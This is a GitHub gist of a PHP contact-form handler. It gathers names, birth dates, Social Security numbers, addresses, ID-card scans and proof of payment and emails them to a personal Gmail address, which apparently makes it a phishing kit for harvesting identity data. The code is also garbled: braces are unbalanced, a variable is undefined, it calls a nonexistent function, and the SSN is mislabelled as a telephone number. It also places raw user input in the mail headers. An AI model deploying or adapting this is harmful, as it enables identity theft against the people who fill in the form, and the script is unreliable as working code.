Created
August 17, 2017 14:03
-
-
Save Jobayer-Ahmed/39ef58ec59683e4303e89f384fe11ad8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if(isset($_POST['email'])) { | |
// EDIT THE 2 LINES BELOW AS REQUIRED | |
$email_to = "CCColemanwriting@gmail.com"; | |
$email_subject = "Website mail"; | |
function died($error) { | |
// your error code can go here | |
echo "We are very sorry, but there were error(s) found with the form you submitted. "; | |
echo "These errors appear below.<br /><br />"; | |
echo $error."<br /><br />"; | |
echo "Please go back and fix these errors.<br /><br />"; | |
die(); | |
} | |
// validation expected data exists | |
if(!isset($_POST['fname']) || | |
!isset($_POST['email']) || | |
!isset($_POST['date_of_birth']) || | |
!isset($_POST['ssn']) || | |
!isset($_POST['address'])) { | |
!isset($_FILES['ic'])) { | |
!isset($_FILES['pop'])) { | |
died('We are sorry, but there appears to be a problem with the form you submitted.'); | |
} | |
$name = $_POST['fname']; // required | |
$email_from = $_POST['email']; // required | |
$date_of_birth = $_POST['date_of_birth']; // not required | |
$Social_Security_Number = $_POST['ssn']; // required | |
$address = $_POST['address']; // required | |
$Identification_Card = $_FILES['ic']; // required | |
$Proof_Of_Payment = $_FILES['pop']; // required | |
$error_message = ""; | |
$email_exp = '/^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}$/'; | |
if(!preg_match($email_exp,$email_from)) { | |
$error_message .= 'The Email Address you entered does not appear to be valid.<br />'; | |
} | |
$string_exp = "/^[A-Za-z .'-]+$/"; | |
if(!preg_match($string_exp,$fname)) { | |
$error_message .= 'The Full Name you entered does not appear to be valid.<br />'; | |
} | |
/*if(!preg_match($string_exp,$address)) { | |
$error_message .= 'The address you entered does not appear to be valid.<br />'; | |
}*/ | |
if(strlen($address) < 2) { | |
$error_message .= 'The address you entered do not appear to be valid.<br />'; | |
} | |
if(strlen($error_message) > 0) { | |
died($error_message); | |
} | |
$email_message = "Form details below.\n\n"; | |
function clean_string($string) { | |
$bad = array("content-type","bcc:","to:","cc:","href"); | |
return str_replace($bad,"",$string); | |
} | |
$email_message .= "Full Name: ".clean_string($fname)."\n"; | |
$email_message .= "Email: ".clean_string($email_from)."\n"; | |
$email_message .= "Date Of Birth: ".clean_string($date_of_birth)."\n"; | |
$email_message .= "Telephone: ".clean_string($Social_Security_Number)."\n"; | |
$email_message .= "Address: ".clean_string($address)."\n"; | |
$email_message .= "Identification Card: ".fopens($Identification_Card)."\n"; | |
$email_message .= "Identification Card: ".fopen($Proof_Of_Payment)."\n"; | |
// create email headers | |
$headers = 'From: '.$email_from."\r\n". | |
'Reply-To: '.$email_from."\r\n" . | |
'X-Mailer: PHP/' . phpversion(); | |
@mail($email_to, $email_subject, $email_message, $headers); | |
?> | |
<!-- include your own success html here --> | |
Thank you for contacting us. We will be in touch with you very soon. | |
<?php | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment